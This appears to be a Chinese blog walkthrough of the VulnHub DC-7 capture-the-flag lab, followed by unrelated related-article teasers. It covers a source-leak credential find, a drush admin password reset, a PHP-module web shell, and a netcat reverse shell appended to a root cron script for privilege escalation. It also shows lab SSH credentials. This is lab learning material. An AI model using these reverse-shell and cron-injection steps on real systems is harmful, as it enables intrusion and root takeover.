vulnhub dc-7

news2024/10/7 3:29:00

1.信息搜集
端口 22,80
存活主机 192.168.85.134
2.访问网站进行信息搜集
在这里插入图片描述
发现提示信息,大体意思,有一个新概念,爆破可能失败,跳出框思考
cms:drupal 8.0
msf尝试利用失败
3.对网站进行渗透测试
尝试弱口令 失败 试出用户admin
sql注入失败
这里考的是源码泄露,没想到
github搜索@dc7user,发现源码,查看配置文件,发现密码和用户
在这里插入图片描述
4.ssh登录
刚开始尝试进行网站登录失败,进行mysql数据库失败,估计没开外联
进行ssh登录成功
username dc7user
password MdR3xOgB7#dW
进入家目录,发现一个备份文件,还有一个mbox,查看mbox发现有一个以root执行的脚本
在这里插入图片描述
查看/opt/scripts/backups.sh,并查看权限,发现www-data组和root是有权限执行和修改的
在这里插入图片描述
在这里插入图片描述
不知道如何做,先放放

5.尝试提权
suid提权的exim4失败
在这里插入图片描述
内核没找到可利用的漏洞
再说上面的那个备份脚本,有一个思路,可以,用www-data用户修改文件反弹一个shell,是root执行的计划任务,可以反弹回来一个root权限的shell,现在考虑怎么切换用户到www-data,直接在网站根目录中写目录是不行的,没权限
6.登录网站反弹shell
通过前面知道了用户有一个admin,如何知道这个用户的密码,本地直接登录mysql数据库失败,使用数据库修改密码就不行了,在那个backups.sh中有一个命令drush,这个命令是可以进行修改用户账号密码的

注意需要在/var/www/html网站根目录下执行

drush -user-password admin --password=’123456‘

6.登录网站反弹shell
登录成功
修改源码,新建文件,上传文件
上传主题失败了
直接编辑文件,发现只能是html代码
安装一个php插件
在extend—install new module—https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz(输入网址)—安装完点及enabled激活插件
在修改源码,改为php code

在这里插入图片描述
反弹成功
在这里插入图片描述
7.修改备份脚本,等待计划任务执行

echo 'nc 192.168.85.132 4455 -e /bin/bash'>>/opt/scripts/backups.sh

kali nc监听 ,等待执行即可,注意不要取执行这个脚本,因为权限会是www-data
反弹成功查看flag
在这里插入图片描述
dc-7

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/573243.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MapReduce实现KNN算法分类推测鸢尾花种类

文章目录 代码地址一、KNN算法简介二、KNN算法示例:推测鸢尾花种类三、MapReduceHadoop实现KNN鸢尾花分类:1. 实现环境2.pom.xml 3.设计思路及代码1. KNN_Driver类2. MyData类3. KNN_Mapper类 4. KNN_Reducer类 代码地址 https://gitcode.net/m0_567453…

企企管理云是什么应用?如何自动同步数据至企企管理云

企企管理云是什么应用? 企企管理云,是企企科技依托创始团队30年企业级管理软件实践与服务经验,坚持技术和产品立业,逐步构建的企业经营管理一站式服务平台。企企管理云围绕「现代服务业」的业财一体化,聚焦于项目管理…

Sui网络更新计划

Sui主网已经上线,接下来一段时间,我们计划将对Sui网络每两周进行一次迭代。待网络稳定后,我们将减缓迭代的频率。 为了网络稳定切换,每个版本都有其分支,大多数情况下是两个实时分支,一个用于当前的主网版…

如何在华为OD机试中获得满分?Java实现【任务混部】一文详解!

✅创作者:陈书予 🎉个人主页:陈书予的个人主页 🍁陈书予的个人社区,欢迎你的加入: 陈书予的社区 🌟专栏地址: Java华为OD机试真题(2022&2023) 文章目录 1. 题目描述2. 输入描述3. 输出描述4. Java算法源码5. 测试6.解题思路1. 题目描述 公司创新实验室正在研究…

如何清理harbor的磁盘空间

博客主页:https://tomcat.blog.csdn.net 博主昵称:农民工老王 主要领域:Java、Linux、K8S 期待大家的关注💖点赞👍收藏⭐留言💬 目录 registry garbage-collectharbor自带的清理工具docker image prune -a…

Flume系列:Flume通道拓扑结构

目录 Apache Hadoop生态-目录汇总-持续更新 1: 基础架构 2:简单串联 3:复制(Replicating)和多路复用(Multiplexing) 4:负载均衡和故障转移 5:聚合 Apache Hadoop生态-目录汇总-持续更新 系统环境:centos7 Java环境…

字符串---第一部分 序列、字串;上升,公共

第一部分 最长上升子序列,最长上升子串,最长公共子序列,最长公共子串--dp 第二部分 KMP,trie,双指针 第三部分 待定 动态规划:审题,状态确定,状态转移,边界条件 线性…

Redis客户端介绍

Redis客户端 命令行客户端 redis安装完成后有自带的命令行客户端,即redis-cli,使用方式如下 redis-cli [options][commonds]options——参数 -h 127.0.0.1:指定要连接的redis节点的ip地址,默认值127.0.0.1-p 6379:指…

[中间件漏洞]nginx漏洞复现

目录 文件解析漏洞 原理分析 复现过程 防御方法 目录遍历漏洞 原理分析 复现过程 防御方法 空字节代码执行漏洞 复现过程 防御方法 整数溢出漏洞(CVE-2017-7529) 复现过程 防御方法 文件名逻辑漏洞(CVE-2013-4547) 复现过程 防…

学习笔记 | 基于大模型的优质 Prompt 开发课

文章目录 一、前言二、主要内容三、总结 🍉 CSDN 叶庭云:https://yetingyun.blog.csdn.net/ 一、前言 手把手带你构建高质量 Prompt,掌握以文心一言为代表的大模型对话技巧与高级用法,与大模型高效交流从而释放大模型强大的生成能…

震坤行平台商品详情页面数据

震坤行( (zkh.com) 商品详情页面数据通常包括以下信息: 商品名称、型号、品牌、颜色、大小等基本属性商品主图和详细图集,包括多角度展示、细节展示等商品描述,包括功能介绍、使用方法、注意事项等商品价格…

如何在华为OD机试中获得满分?Java实现【简单的解压缩算法】一文详解!

✅创作者:陈书予 🎉个人主页:陈书予的个人主页 🍁陈书予的个人社区,欢迎你的加入: 陈书予的社区 🌟专栏地址: Java华为OD机试真题(2022&2023) 文章目录 1. 题目描述2. 输入描述3. 输出描述4. Java算法源码5. 测试6.解题思路1. 题目描述 现需要实现一种算法,能…

Python解析excel之Android多语言支持

最新车企给了一份多语言的翻译表,需要进行多语言支持,像下面这样 针对这种文件,我们肯定不能一个个字符串取拷贝,很容易出错,所以想用python取处理这个表格然后生成对应的string文件. 1.首先我们建立好string的文件夹…

手写简单的RPC框架(一)

一、RPC简介 1、什么是RPC RPC(Remote Procedure Call)远程过程调用协议,一种通过网络从远程计算机上请求服务,而不需要了解底层网络技术的协议。RPC它假定某些协议的存在,例如TPC/UDP等,为通信程序之间携…

【P33】JMeter 临界部分控制器(Critical Section Controller)

文章目录 一、临界部分控制器(Critical Section Controller)参数说明二、测试计划设计 一、临界部分控制器(Critical Section Controller)参数说明 可以对指定代码块增加同步锁,确保此代码块由单线程执行;…

【C++】初入C++

认识C C语言是结构化和模块化的语言,适合处理较小规模的程序。对于复杂的问题,规模较大的程序,需要高度的抽象和建模时,C语言则不合适。为了解决软件危机, 20世纪80年代, 计算机界提出了OOP(object orient…

Gap业绩逆转,宝尊电商是如何当好“全球品牌数字商业伙伴”的?

电商永不眠。技术、消费趋势、供应链,任何一个因素都可以引起商业格局的巨变。一些看似普通的事件落到一个品牌身上,往往会带来改变命运的巨大变化。就像今年2月,宝尊官宣已完成对Gap大中华区的收购,到现在,Gap便已在宝…

探究javascript对象和数组的异同,及函数变量缓存技巧

javascript中最经典也最受非议的一句话就是:javascript中一切皆是对象。这篇重点要提到的,就是任何jser都不陌生的Object和Array。 有段时间曾经很诧异,到底两种数据类型用来存储数据有什么不同。于是,我打算探究探究。 一、掌握三…

9. python的if语句

文章目录 一、if结构1.1 比较符号1.1.1 使用比较两个数据是否相等&#xff1a;1.1.2 使用!号比较数据是否不相等1.1.3 使用<号比较数字大小关系1.1.4 使用<号比较数字大小关系1.1.5 使用>号比较数字大小关系1.1.6 使用>号比较数字大小关系 1.2 关键字1.2.1 and关键…

计算机系统漫游

重点理解部分&#xff1a; 系统硬件&#xff1a;对硬件如处理器、存储器、I/O设备有一个基本的认识&#xff0c;理解它们的基本工作原理以及它们是如何协同工作的。Hello&#xff0c;World程序运行的过程&#xff1a;了解一个C程序如何从源代码到最终在计算机上运行的全过程。…